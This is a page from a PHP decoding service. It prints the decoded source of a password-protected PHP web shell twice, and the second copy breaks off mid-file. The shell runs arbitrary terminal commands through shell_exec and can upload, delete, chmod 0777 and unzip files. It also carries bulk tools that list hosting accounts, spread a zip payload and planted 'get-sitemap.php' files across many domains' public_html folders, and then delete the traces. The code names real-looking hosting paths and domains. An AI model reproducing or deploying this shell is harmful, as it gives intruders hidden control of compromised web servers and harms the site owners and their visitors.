Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php session_start(); $password = 'cakep999'; if ($_SERVER['REQUEST_METHOD'] === '..
Decoded Output download
<?php
session_start();
$password = 'cakep999';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_POST['password'] === $password) {
$_SESSION['authenticated'] = true;
} else {
echo '<p style="color:red;">Password salah, coba lagi.</p>';
}
}
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
echo '<form method="POST" action="">
<label for="password">assword:</label>
<input type="password" id="password" name="password" required>
<button type="submit">Submit</button>
</form>';
exit;
}
?>
<?php
$current_dir = getcwd();
$full_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$safe_url = htmlspecialchars($full_url);
$safe_url = str_replace('%2F', '/', $safe_url);
$dir_parts = explode('/', trim($current_dir, '/'));
$base_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$dir_hyperlinks = [];
$path = '';
foreach ($dir_parts as $part) {
$path .= '/' . $part;
$dir_hyperlinks[] = '<a href="' . $base_url . '?dir=' . urlencode($path) . '">' . $part . '</a>';
}
$base_dir_hyperlinks = implode('/', $dir_hyperlinks);
echo "<br><b>Base Dir : " . $base_dir_hyperlinks . "<br></b>";
echo '<a href="' . $safe_url . '">' . $safe_url . '</a>';
?>
<?php
// Configuration
$root_dir = '/home'; // Root directory
$max_upload_size = 1024 * 1024 * 15; // 5MB
// Get current directory
if (isset($_GET['dir'])) {
$current_dir = $_GET['dir'];
} else {
$current_dir = $root_dir;
}
// Create directory if it doesn't exist
if (!is_dir($current_dir)) {
mkdir($current_dir, 0777, true); // Create directory with 0750 permissions
}
// Get files and directories
$files = array();
$directories = array();
foreach (glob($current_dir . '/*') as $file) {
if (is_dir($file)) {
$directories[] = array(
'name' => basename($file),
'size' => '',
'last_modified' => date('Y-m-d H:i:s', filemtime($file)),
'owner' => posix_getpwuid(fileowner($file))['name'],
'permissions' => substr(sprintf('%o', fileperms($file)), -4),
);
} else {
$files[] = array(
'name' => basename($file),
'size' => filesize_format(filesize($file)),
'last_modified' => date('Y-m-d H:i:s', filemtime($file)),
'owner' => posix_getpwuid(fileowner($file))['name'],
'permissions' => substr(sprintf('%o', fileperms($file)), -4),
);
}
}
// Handle file upload
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['size'] > $max_upload_size) {
echo 'File too large!';
} else {
move_uploaded_file($file['tmp_name'], $current_dir . '/' . $file['name']);
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode($current_dir));
exit;
}
}
// Handle file deletion
if (isset($_POST['delete'])) {
$file = $_POST['delete'];
$file_path = rtrim($current_dir, '/') . '/' . $file;
if (file_exists($file_path) && is_file($file_path)) {
unlink($file_path);
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=/' . rawurlencode(rtrim($current_dir, '/')));
exit;
} else {
echo 'File not found or not a file!';
}
}
// Handle terminal command
if (isset($_POST['command'])) {
$command = $_POST['command'];
// Validate and sanitize user input before executing commands
// Execute commands with caution to avoid security risks
$output = shell_exec($command);
echo "<pre>$output</pre>";
// Update current directory if command is cd
if (strpos($command, 'cd ') === 0) {
$new_dir = trim(substr($command, 3));
if ($new_dir == '..') {
$current_dir = dirname($current_dir);
} elseif ($new_dir != '') {
$current_dir = realpath($current_dir . '/' . $new_dir);
}
}
}
// Handle unzip
if (isset($_POST['unzip'])) {
$file = $_POST['unzip'];
$file_path = $current_dir . '/' . $file;
if (file_exists($file_path) && is_file($file_path)) {
$zip = new ZipArchive;
$res = $zip->open($file_path);
if ($res === TRUE) {
$zip->extractTo($current_dir);
$zip->close();
echo "Unzipped successfully!";
} else {
echo "Failed to unzip!";
}
} else {
echo "File not found or not a file!";
}
}
// Handle mkdir
if (isset($_POST['mkdir'])) {
$dir = $_POST['mkdir'];
$dir_path = $current_dir . '/' . $dir;
if (!is_dir($dir_path)) {
mkdir($dir_path, 0777, true);
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode($current_dir));
exit;
} else {
echo "Directory already exists!";
}
}
// Handle chmod
if (isset($_POST['chmod'])) {
$file = $_POST['chmod'];
$file_path = rtrim($current_dir, '/') . '/' . $file;
if (file_exists($file_path)) {
chmod($file_path, 0777); // Change permissions to more secure value
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode($current_dir));
exit;
} else {
echo 'File or directory not found!';
}
}
// Handle chmod2
if (isset($_POST['chmod2'])) {
$file = $_POST['chmod2'];
$file_path = rtrim($current_dir, '/') . '/' . $file;
if (file_exists($file_path)) {
chmod($file_path, 0644); // Change permissions to more secure value
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode($current_dir));
exit;
} else {
echo 'File or directory not found!';
}
}
// Function to format file size
function filesize_format($size) {
$units = array('B', 'KB', 'MB', 'GB', 'TB');
for ($i = 0; $size >= 1024 && $i < count($units) - 1; $i++) {
$size /= 1024;
}
return round($size, 2). $units[$i];
}
// Function to generate viewable link
function get_viewable_link($path) {
$base_url = ''; // Base URL if needed
$relative_path = str_replace($_SERVER['DOCUMENT_ROOT'], '', $path); // Relative path from web server root
return $base_url . '/' . ltrim($relative_path, '/');
}
function formatPath($path) {
// Pisahkan path menjadi array berdasarkan '/' untuk memudahkan pemrosesan
$parts = explode('/', $path);
// Cari bagian yang mengandung domain (misalnya threestardistributionusa.com)
$domain = '';
$public_html_index = array_search('public_html', $parts);
if ($public_html_index !== false && isset($parts[$public_html_index - 1])) {
$domain = $parts[$public_html_index - 1];
}
// Ambil bagian domain hingga akhir path
$formattedParts = array_slice($parts, $public_html_index + 1);
// Gabungkan kembali array menjadi string dengan '/' sebagai pemisah
$formattedPath = $domain . '/' . implode('/', $formattedParts);
// Tambahkan 'get-sitemap.php' di akhir path
return $formattedPath . '/get-sitemap.php';
}
// Contoh path yang akan diformat
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : '/home/u961697288/domains/a.com/public_html/vcbred';
// Format path
$formatted_dir = formatPath($current_dir);
// Buat URL penuh dengan skema
$full_url = 'https://' . $formatted_dir;
?>
<html>
<head>
<title>File Manager</title>
<style>
table {
border-collapse: collapse;
width: 100%;
}
th, td {
border: 1px solid #dddddd;
text-align: left;
padding: 8px;
}
th {
background-color: #f2f2f2;
}
.checkbox {
width: 20px;
height: 20px;
}
</style>
</head>
<body>
<h1>File Manager</h1>
</form>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<form action="" method="post">
<input type="text" name="mkdir" placeholder="Create directory">
<button type="submit">Create</button>
</form>
<form action="" method="post">
<input type="text" name="command" placeholder="Terminal command">
<button type="submit">Execute</button>
</form>
<p>Current directory:
<a href="?dir=<?= urlencode(dirname($current_dir)) ?>">Back</a>
<a href="<?= htmlspecialchars($full_url) ?>"><?= htmlspecialchars($full_url) ?></a>
</p>
<p>Current directory: <a href="?dir=<?= urlencode(dirname($current_dir))?>">Back</a> <a href="?dir=<?= urlencode(dirname($current_dir))?>"><?= $current_dir ?></a></p>
<form action="" method="post">
<table>
<tr>
<th>Select</th>
<th>Name</th>
<th>Size</th>
<th>Last Modified</th>
<th>Owner</th>
<th>Permissions</th>
<th>Options</th>
</tr>
<?php foreach ($directories as $dir):?>
<tr>
<td><input type="checkbox" class="checkbox" name="selected_files[]" value="<?= $dir['name']?>"></td>
<td><a href="?dir=<?= urlencode($current_dir. '/'. $dir['name'])?>"><?= $dir['name']?></a></td>
<td>
<button type="submit" name="chmod2" value="<?= $dir['name']?>">Chmod644</button>
<button type="submit" name="chmod" value="<?= $dir['name']?>">Chmod</button>
<button type="submit" name="delete" value="<?= $dir['name']?>">Delete</button>
</td>
<td><?= $dir['size']?></td>
<td><?= $dir['last_modified']?></td>
<td><?= $dir['owner']?></td>
<td><?= $dir['permissions']?></td>
</tr>
<?php endforeach;?>
<?php foreach ($files as $file):?>
<tr>
<td><input type="checkbox" class="checkbox" name="selected_files[]" value="<?= $file['name']?>"></td>
<td><a href="<?= get_viewable_link($current_dir. '/'. $file['name'])?>"><?= $file['name']?></a></td>
<td>
<button type="submit" name="chmod" value="<?= $file['name']?>">Chmod</button>
<button type="submit" name="delete" value="<?= $file['name']?>">Delete</button>
<?php if (substr($file['name'], -4) == '.zip'):?>
<button type="submit" name="unzip" value="<?= $file['name']?>">Unzip</button>
<?php endif;?>
</td>
<td><?= $file['size']?></td>
<td><?= $file['last_modified']?></td>
<td><?= $file['owner']?></td>
<td><?= $file['permissions']?></td>
</tr>
<?php endforeach;?>
</table>
</form>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<form action="" method="post">
<input type="text" name="mkdir" placeholder="Create directory">
<button type="submit">Create</button>
</form>
<form action="" method="post">
<input type="text" name="command" placeholder="Terminal command">
<button type="submit">Execute</button>
</form>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
$source = $_POST['source'];
$targets = explode("
", $_POST['target']); // split target folders by newline
foreach ($targets as $target) {
$target = trim($target); // remove whitespace
if (!is_dir($target)) {
// Attempt to create the directory
if (!mkdir($target, 0777, true)) {
echo "Failed to create folder: " . $target;
continue; // Skip to the next target folder
}
}
// Check again if the directory exists (may have been created just now)
if (is_dir($target)) {
$target_file = $target . '/' . basename($source);
if (!copy($source, $target_file)) {
echo "Failed to copy file: " . $source . " to " . $target_file;
echo "<br>Error message: " . error_get_last()['message'];
} else {
echo "File successfully copied to " . $target_file;
}
} else {
echo "Failed to create or access folder: " . $target;
}
echo "<br>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Copy Form</title>
</head>
<body>
<h2>File Copy Form</h2>
<form method="post">
<label for="source">Source File:</label><br>
<input type="text" id="source" name="source" value="/home/u229669925/domains/fayfashion.online/public_html/googled2c527112139838d.html" required><br><br>
<label for="target">Target Folders (separate by newline):</label><br>
<textarea id="target" name="target" rows="5" cols="50" required>
/home/u229669925/domains/fayfashion.online/public_html/sleofas
/home/u229669925/domains/fayfashion.online/public_html/folder2
/home/u229669925/domains/fayfashion.online/public_html/folder3
</textarea><br><br>
<input type="submit" name="submit" value="Copy File">
</form>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Directory Listing</title>
</head>
<body>
<h2>Directory Listing</h2>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<label for="directory">Path:</label><br>
<input type="text" id="directory" name="directory" style="width: 400px;" value="/home/u229669925/domains/"><br><br>
<input type="submit" value="List Files">
</form>
<?php
// Eksekusi perintah jika form telah disubmit
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Validasi input (opsional, tergantung kebutuhan)
$directory = $_POST['directory'];
// Menjalankan perintah ls -1 untuk mengambil daftar file/direktori
$command = "ls -1 " . escapeshellarg($directory);
$result = shell_exec($command);
// Memisahkan hasil per baris dan menampilkan
$files = explode("
", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>$directory$file/public_html</li>";
}
}
echo "</ul>";
// Memisahkan hasil per baris dan menampilkan
$files = explode("
", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>$directory$file/public_html/edite/</li>";
}
}
echo "</ul>";
// Memisahkan hasil per baris dan menampilkan
$files = explode("
", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>$directory$file/public_html/edite/get-sitemap.php</li>";
}
}
echo "</ul>";
// Memisahkan hasil per baris dan menampilkan
$files = explode("
", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>https://$file/edite/get-sitemap.php</li>";
}
}
echo "</ul>";
// Memisahkan hasil per baris dan menampilkan
$files = explode("
", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>https://$file/edite/fullsitemap.xml</li>";
}
}
echo "</ul>";
}
?>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
// Path ke file ZIP yang akan diunzip
$zip_file = $_POST['zipfile'];
// Daftar folder target untuk mengekstrak file ZIP
$targets = explode("
", $_POST['targets']); // pisahkan target folder dengan newline
// Loop melalui setiap folder target
foreach ($targets as $target) {
$target = trim($target); // hilangkan whitespace
// Cek apakah folder sudah ada atau buat folder jika belum ada
if (!is_dir($target)) {
// Buat folder dengan izin 777
if (!mkdir($target, 0777, true)) {
echo "Gagal membuat folder: $target<br>";
continue; // lanjutkan ke folder berikutnya jika gagal membuat folder
}
// Setelah membuat folder, kembalikan izin menjadi lebih aman (misalnya 755)
// Silakan disesuaikan sesuai dengan kebutuhan dan keamanan server Anda
chmod($target, 0777);
}
// Pastikan target folder ada dan dapat diakses
if (is_dir($target)) {
// Buat objek ZipArchive
$zip = new ZipArchive();
// Buka file ZIP untuk membaca
if ($zip->open($zip_file) === TRUE) {
// Ekstrak semua isi file ZIP ke dalam folder target
if ($zip->extractTo($target)) {
echo "Berhasil mengekstrak file ZIP ke dalam folder \"$target\".<br>";
} else {
echo "Gagal mengekstrak file ZIP ke dalam folder \"$target\".<br>";
}
$zip->close();
} else {
echo "Gagal membuka file ZIP: $zip_file<br>";
}
} else {
echo "Folder \"$target\" tidak ada atau tidak dapat diakses.<br>";
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Unzip to Multiple Folders</title>
</head>
<body>
<h2>Unzip to Multiple Folders</h2>
<form method="post">
<label for="zipfile">File ZIP:</label><br>
<input type="text" id="zipfile" name="zipfile" value="cm999.zip" required><br><br>
<label for="targets">Target Folders (separate by newline):</label><br>
<textarea id="targets" name="targets" rows="5" cols="50" required>
</textarea><br><br>
<input type="submit" name="submit" value="Unzip to Folders">
</form>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
// Daftar file yang akan dihapus
$files = explode("
", $_POST['files']); // pisahkan daftar file dengan newline
// Inisialisasi variabel untuk menyimpan pesan sukses
$success_messages = array();
// Loop melalui setiap file dan hapus
foreach ($files as $file) {
$file = trim($file); // hilangkan whitespace
// Hapus file jika ada
if (file_exists($file)) {
if (unlink($file)) {
$success_messages[] = "Berhasil menghapus file: $file";
} else {
echo "Gagal menghapus file: $file<br>";
}
} else {
echo "File tidak ditemukan: $file<br>";
}
}
// Tampilkan pesan sukses yang terkumpul
foreach ($success_messages as $message) {
echo $message . "<br>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Delete Files</title>
</head>
<body>
<h2>Delete Files</h2>
<form method="post">
<label for="files">Files to Delete (separate by newline):</label><br>
<textarea id="files" name="files" rows="5" cols="50" required>
/home/u616186289/domains/digitalavengers.in/public_html/cmaster99/del.php
/home/u616186289/domains/divyachetnasatsang.com/public_html/cmaster99/del.php
/home/u616186289/domains/ojcure.co.in/public_html/cmaster99/del.php
/home/u616186289/domains/ojcure.com/public_html/cmaster99/del.php
</textarea><br><br>
<input type="submit" name="submit" value="Delete Files">
</form>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
// Daftar lokasi di mana kita ingin membuat, menjalankan, dan menghapus file get-sitemap.php
$locations = explode("
", $_POST['locations']); // Pisahkan daftar lokasi dengan newline
// Konten file get-sitemap.php yang akan dibuat dan dieksekusi
$sitemap_content = <<<EOD
<?php
// Isi dari get-sitemap.php
echo "Ini adalah file get-sitemap.php di " . __DIR__;
?>
EOD;
// Loop melalui setiap lokasi
foreach ($locations as $location) {
$location = trim($location); // Hilangkan whitespace
$filename = $location . 'get-sitemap.php';
// Buat file get-sitemap.php
if (file_put_contents($filename, $sitemap_content)) {
echo "Berhasil membuat file $filename<br>";
// Jalankan file get-sitemap.php
$output = shell_exec("php $filename");
echo "Output dari $filename:<br>$output<br>";
// Hapus file get-sitemap.php setelah dieksekusi
if (unlink($filename)) {
echo "Berhasil menghapus file $filename<br><br>";
} else {
echo "Gagal menghapus file $filename<br><br>";
}
} else {
echo "Gagal membuat file $filename<br><br>";
}
}
}
?>
Did this file decode correctly?
Original Code
<?php
session_start();
$password = 'cakep999';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_POST['password'] === $password) {
$_SESSION['authenticated'] = true;
} else {
echo '<p style="color:red;">Password salah, coba lagi.</p>';
}
}
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
echo '<form method="POST" action="">
<label for="password">assword:</label>
<input type="password" id="password" name="password" required>
<button type="submit">Submit</button>
</form>';
exit;
}
?>
<?php
$current_dir = getcwd();
$full_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$safe_url = htmlspecialchars($full_url);
$safe_url = str_replace('%2F', '/', $safe_url);
$dir_parts = explode('/', trim($current_dir, '/'));
$base_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$dir_hyperlinks = [];
$path = '';
foreach ($dir_parts as $part) {
$path .= '/' . $part;
$dir_hyperlinks[] = '<a href="' . $base_url . '?dir=' . urlencode($path) . '">' . $part . '</a>';
}
$base_dir_hyperlinks = implode('/', $dir_hyperlinks);
echo "<br><b>Base Dir : " . $base_dir_hyperlinks . "<br></b>";
echo '<a href="' . $safe_url . '">' . $safe_url . '</a>';
?>
<?php
// Configuration
$root_dir = '/home'; // Root directory
$max_upload_size = 1024 * 1024 * 15; // 5MB
// Get current directory
if (isset($_GET['dir'])) {
$current_dir = $_GET['dir'];
} else {
$current_dir = $root_dir;
}
// Create directory if it doesn't exist
if (!is_dir($current_dir)) {
mkdir($current_dir, 0777, true); // Create directory with 0750 permissions
}
// Get files and directories
$files = array();
$directories = array();
foreach (glob($current_dir . '/*') as $file) {
if (is_dir($file)) {
$directories[] = array(
'name' => basename($file),
'size' => '',
'last_modified' => date('Y-m-d H:i:s', filemtime($file)),
'owner' => posix_getpwuid(fileowner($file))['name'],
'permissions' => substr(sprintf('%o', fileperms($file)), -4),
);
} else {
$files[] = array(
'name' => basename($file),
'size' => filesize_format(filesize($file)),
'last_modified' => date('Y-m-d H:i:s', filemtime($file)),
'owner' => posix_getpwuid(fileowner($file))['name'],
'permissions' => substr(sprintf('%o', fileperms($file)), -4),
);
}
}
// Handle file upload
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['size'] > $max_upload_size) {
echo 'File too large!';
} else {
move_uploaded_file($file['tmp_name'], $current_dir . '/' . $file['name']);
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode($current_dir));
exit;
}
}
// Handle file deletion
if (isset($_POST['delete'])) {
$file = $_POST['delete'];
$file_path = rtrim($current_dir, '/') . '/' . $file;
if (file_exists($file_path) && is_file($file_path)) {
unlink($file_path);
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=/' . rawurlencode(rtrim($current_dir, '/')));
exit;
} else {
echo 'File not found or not a file!';
}
}
// Handle terminal command
if (isset($_POST['command'])) {
$command = $_POST['command'];
// Validate and sanitize user input before executing commands
// Execute commands with caution to avoid security risks
$output = shell_exec($command);
echo "<pre>$output</pre>";
// Update current directory if command is cd
if (strpos($command, 'cd ') === 0) {
$new_dir = trim(substr($command, 3));
if ($new_dir == '..') {
$current_dir = dirname($current_dir);
} elseif ($new_dir != '') {
$current_dir = realpath($current_dir . '/' . $new_dir);
}
}
}
// Handle unzip
if (isset($_POST['unzip'])) {
$file = $_POST['unzip'];
$file_path = $current_dir . '/' . $file;
if (file_exists($file_path) && is_file($file_path)) {
$zip = new ZipArchive;
$res = $zip->open($file_path);
if ($res === TRUE) {
$zip->extractTo($current_dir);
$zip->close();
echo "Unzipped successfully!";
} else {
echo "Failed to unzip!";
}
} else {
echo "File not found or not a file!";
}
}
// Handle mkdir
if (isset($_POST['mkdir'])) {
$dir = $_POST['mkdir'];
$dir_path = $current_dir . '/' . $dir;
if (!is_dir($dir_path)) {
mkdir($dir_path, 0777, true);
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode($current_dir));
exit;
} else {
echo "Directory already exists!";
}
}
// Handle chmod
if (isset($_POST['chmod'])) {
$file = $_POST['chmod'];
$file_path = rtrim($current_dir, '/') . '/' . $file;
if (file_exists($file_path)) {
chmod($file_path, 0777); // Change permissions to more secure value
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode($current_dir));
exit;
} else {
echo 'File or directory not found!';
}
}
// Handle chmod2
if (isset($_POST['chmod2'])) {
$file = $_POST['chmod2'];
$file_path = rtrim($current_dir, '/') . '/' . $file;
if (file_exists($file_path)) {
chmod($file_path, 0644); // Change permissions to more secure value
header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode($current_dir));
exit;
} else {
echo 'File or directory not found!';
}
}
// Function to format file size
function filesize_format($size) {
$units = array('B', 'KB', 'MB', 'GB', 'TB');
for ($i = 0; $size >= 1024 && $i < count($units) - 1; $i++) {
$size /= 1024;
}
return round($size, 2). $units[$i];
}
// Function to generate viewable link
function get_viewable_link($path) {
$base_url = ''; // Base URL if needed
$relative_path = str_replace($_SERVER['DOCUMENT_ROOT'], '', $path); // Relative path from web server root
return $base_url . '/' . ltrim($relative_path, '/');
}
function formatPath($path) {
// Pisahkan path menjadi array berdasarkan '/' untuk memudahkan pemrosesan
$parts = explode('/', $path);
// Cari bagian yang mengandung domain (misalnya threestardistributionusa.com)
$domain = '';
$public_html_index = array_search('public_html', $parts);
if ($public_html_index !== false && isset($parts[$public_html_index - 1])) {
$domain = $parts[$public_html_index - 1];
}
// Ambil bagian domain hingga akhir path
$formattedParts = array_slice($parts, $public_html_index + 1);
// Gabungkan kembali array menjadi string dengan '/' sebagai pemisah
$formattedPath = $domain . '/' . implode('/', $formattedParts);
// Tambahkan 'get-sitemap.php' di akhir path
return $formattedPath . '/get-sitemap.php';
}
// Contoh path yang akan diformat
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : '/home/u961697288/domains/a.com/public_html/vcbred';
// Format path
$formatted_dir = formatPath($current_dir);
// Buat URL penuh dengan skema
$full_url = 'https://' . $formatted_dir;
?>
<html>
<head>
<title>File Manager</title>
<style>
table {
border-collapse: collapse;
width: 100%;
}
th, td {
border: 1px solid #dddddd;
text-align: left;
padding: 8px;
}
th {
background-color: #f2f2f2;
}
.checkbox {
width: 20px;
height: 20px;
}
</style>
</head>
<body>
<h1>File Manager</h1>
</form>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<form action="" method="post">
<input type="text" name="mkdir" placeholder="Create directory">
<button type="submit">Create</button>
</form>
<form action="" method="post">
<input type="text" name="command" placeholder="Terminal command">
<button type="submit">Execute</button>
</form>
<p>Current directory:
<a href="?dir=<?= urlencode(dirname($current_dir)) ?>">Back</a>
<a href="<?= htmlspecialchars($full_url) ?>"><?= htmlspecialchars($full_url) ?></a>
</p>
<p>Current directory: <a href="?dir=<?= urlencode(dirname($current_dir))?>">Back</a> <a href="?dir=<?= urlencode(dirname($current_dir))?>"><?= $current_dir ?></a></p>
<form action="" method="post">
<table>
<tr>
<th>Select</th>
<th>Name</th>
<th>Size</th>
<th>Last Modified</th>
<th>Owner</th>
<th>Permissions</th>
<th>Options</th>
</tr>
<?php foreach ($directories as $dir):?>
<tr>
<td><input type="checkbox" class="checkbox" name="selected_files[]" value="<?= $dir['name']?>"></td>
<td><a href="?dir=<?= urlencode($current_dir. '/'. $dir['name'])?>"><?= $dir['name']?></a></td>
<td>
<button type="submit" name="chmod2" value="<?= $dir['name']?>">Chmod644</button>
<button type="submit" name="chmod" value="<?= $dir['name']?>">Chmod</button>
<button type="submit" name="delete" value="<?= $dir['name']?>">Delete</button>
</td>
<td><?= $dir['size']?></td>
<td><?= $dir['last_modified']?></td>
<td><?= $dir['owner']?></td>
<td><?= $dir['permissions']?></td>
</tr>
<?php endforeach;?>
<?php foreach ($files as $file):?>
<tr>
<td><input type="checkbox" class="checkbox" name="selected_files[]" value="<?= $file['name']?>"></td>
<td><a href="<?= get_viewable_link($current_dir. '/'. $file['name'])?>"><?= $file['name']?></a></td>
<td>
<button type="submit" name="chmod" value="<?= $file['name']?>">Chmod</button>
<button type="submit" name="delete" value="<?= $file['name']?>">Delete</button>
<?php if (substr($file['name'], -4) == '.zip'):?>
<button type="submit" name="unzip" value="<?= $file['name']?>">Unzip</button>
<?php endif;?>
</td>
<td><?= $file['size']?></td>
<td><?= $file['last_modified']?></td>
<td><?= $file['owner']?></td>
<td><?= $file['permissions']?></td>
</tr>
<?php endforeach;?>
</table>
</form>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<form action="" method="post">
<input type="text" name="mkdir" placeholder="Create directory">
<button type="submit">Create</button>
</form>
<form action="" method="post">
<input type="text" name="command" placeholder="Terminal command">
<button type="submit">Execute</button>
</form>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
$source = $_POST['source'];
$targets = explode("\n", $_POST['target']); // split target folders by newline
foreach ($targets as $target) {
$target = trim($target); // remove whitespace
if (!is_dir($target)) {
// Attempt to create the directory
if (!mkdir($target, 0777, true)) {
echo "Failed to create folder: " . $target;
continue; // Skip to the next target folder
}
}
// Check again if the directory exists (may have been created just now)
if (is_dir($target)) {
$target_file = $target . '/' . basename($source);
if (!copy($source, $target_file)) {
echo "Failed to copy file: " . $source . " to " . $target_file;
echo "<br>Error message: " . error_get_last()['message'];
} else {
echo "File successfully copied to " . $target_file;
}
} else {
echo "Failed to create or access folder: " . $target;
}
echo "<br>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Copy Form</title>
</head>
<body>
<h2>File Copy Form</h2>
<form method="post">
<label for="source">Source File:</label><br>
<input type="text" id="source" name="source" value="/home/u229669925/domains/fayfashion.online/public_html/googled2c527112139838d.html" required><br><br>
<label for="target">Target Folders (separate by newline):</label><br>
<textarea id="target" name="target" rows="5" cols="50" required>
/home/u229669925/domains/fayfashion.online/public_html/sleofas
/home/u229669925/domains/fayfashion.online/public_html/folder2
/home/u229669925/domains/fayfashion.online/public_html/folder3
</textarea><br><br>
<input type="submit" name="submit" value="Copy File">
</form>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Directory Listing</title>
</head>
<body>
<h2>Directory Listing</h2>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<label for="directory">Path:</label><br>
<input type="text" id="directory" name="directory" style="width: 400px;" value="/home/u229669925/domains/"><br><br>
<input type="submit" value="List Files">
</form>
<?php
// Eksekusi perintah jika form telah disubmit
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Validasi input (opsional, tergantung kebutuhan)
$directory = $_POST['directory'];
// Menjalankan perintah ls -1 untuk mengambil daftar file/direktori
$command = "ls -1 " . escapeshellarg($directory);
$result = shell_exec($command);
// Memisahkan hasil per baris dan menampilkan
$files = explode("\n", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>$directory$file/public_html</li>";
}
}
echo "</ul>";
// Memisahkan hasil per baris dan menampilkan
$files = explode("\n", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>$directory$file/public_html/edite/</li>";
}
}
echo "</ul>";
// Memisahkan hasil per baris dan menampilkan
$files = explode("\n", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>$directory$file/public_html/edite/get-sitemap.php</li>";
}
}
echo "</ul>";
// Memisahkan hasil per baris dan menampilkan
$files = explode("\n", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>https://$file/edite/get-sitemap.php</li>";
}
}
echo "</ul>";
// Memisahkan hasil per baris dan menampilkan
$files = explode("\n", trim($result));
echo "<h3>Files in $directory:</h3>";
echo "<ul>";
foreach ($files as $file) {
if (!empty($file)) {
echo "<li>https://$file/edite/fullsitemap.xml</li>";
}
}
echo "</ul>";
}
?>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
// Path ke file ZIP yang akan diunzip
$zip_file = $_POST['zipfile'];
// Daftar folder target untuk mengekstrak file ZIP
$targets = explode("\n", $_POST['targets']); // pisahkan target folder dengan newline
// Loop melalui setiap folder target
foreach ($targets as $target) {
$target = trim($target); // hilangkan whitespace
// Cek apakah folder sudah ada atau buat folder jika belum ada
if (!is_dir($target)) {
// Buat folder dengan izin 777
if (!mkdir($target, 0777, true)) {
echo "Gagal membuat folder: $target<br>";
continue; // lanjutkan ke folder berikutnya jika gagal membuat folder
}
// Setelah membuat folder, kembalikan izin menjadi lebih aman (misalnya 755)
// Silakan disesuaikan sesuai dengan kebutuhan dan keamanan server Anda
chmod($target, 0777);
}
// Pastikan target folder ada dan dapat diakses
if (is_dir($target)) {
// Buat objek ZipArchive
$zip = new ZipArchive();
// Buka file ZIP untuk membaca
if ($zip->open($zip_file) === TRUE) {
// Ekstrak semua isi file ZIP ke dalam folder target
if ($zip->extractTo($target)) {
